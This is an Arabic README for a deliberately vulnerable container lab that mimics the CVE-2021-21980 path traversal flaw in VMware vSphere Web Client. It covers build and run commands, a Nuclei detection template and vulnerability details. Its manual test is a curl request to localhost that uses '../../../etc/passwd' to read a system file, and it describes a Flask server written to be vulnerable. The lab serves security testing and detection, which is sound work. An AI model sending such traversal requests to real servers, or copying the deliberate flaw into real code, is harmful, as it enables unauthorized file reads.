بيئة اختبار ضعيفة لـ CVE-2021-21980

نظرة عامة

بيئة اختبار واقعية تحاكي ثغرة اجتياز المسار (Path Traversal) في VMware vSphere Web Client.

⚠️ تحذير: بيئة اختبار ضعيفة. لا تعرّضها للإنترنت!

بدء سريع

البناء والتشغيل

podman build -t vcenter-lab .
podman run -d -p 443:443 --name vcenter-lab vcenter-lab

الاختبار اليدوي

curl -k "https://localhost/ui/vic-rest/services/containerView?id=../../../etc/passwd"

الاختبار باستخدام Nuclei

nuclei -t CVE-2021-21980.yaml -u https://localhost -debug

ما الذي يميز هذه البيئة عن الخوادم الوهمية؟

✅ يقرأ الملفات فعلياً من نظام ملفات الحاوية باستخدام Python file I/O
✅ سلوك واقعي - يتعامل مع اجتياز المسار مثل vSphere الحقيقي
✅ ترويسات VMware - يتضمن Server: VMware-HTTP-Server/1.0
✅ SSL/TLS - توليد شهادة موقّعة ذاتياً
✅ غير مبرمجة بشكل ثابت - تُرجع محتوى الملفات الفعلي

تفاصيل الثغرة

CVE: CVE-2021-21980
الخطورة: عالية (CVSS 7.5)
النوع: اجتياز المسار / قراءة ملفات عشوائية
الإصدارات المتأثرة: VMware vCenter Server 7.0 و6.7 و6.5 (غير مُصحّحة)

الملفات

Dockerfile - إعداد بناء الحاوية
server.py - تطبيق Flask القابل للاختراق
CVE-2021-21980.yaml - قالب كشف Nuclei
README.md - هذا الملف

دليل التحقق

تم التحقق من صحة هذه البيئة باستخدام Nuclei، حيث أظهر:

اكتشافاً ناجحاً للثغرة
قراءة ملفات فعلية (وليست استجابات وهمية)
سجلات كاملة لطلبات واستجابات HTTP في وضع التصحيح

التنظيف

podman stop vcenter-lab && podman rm vcenter-lab

vcenter-cve-2021-21980-lab

الأكثر شعبية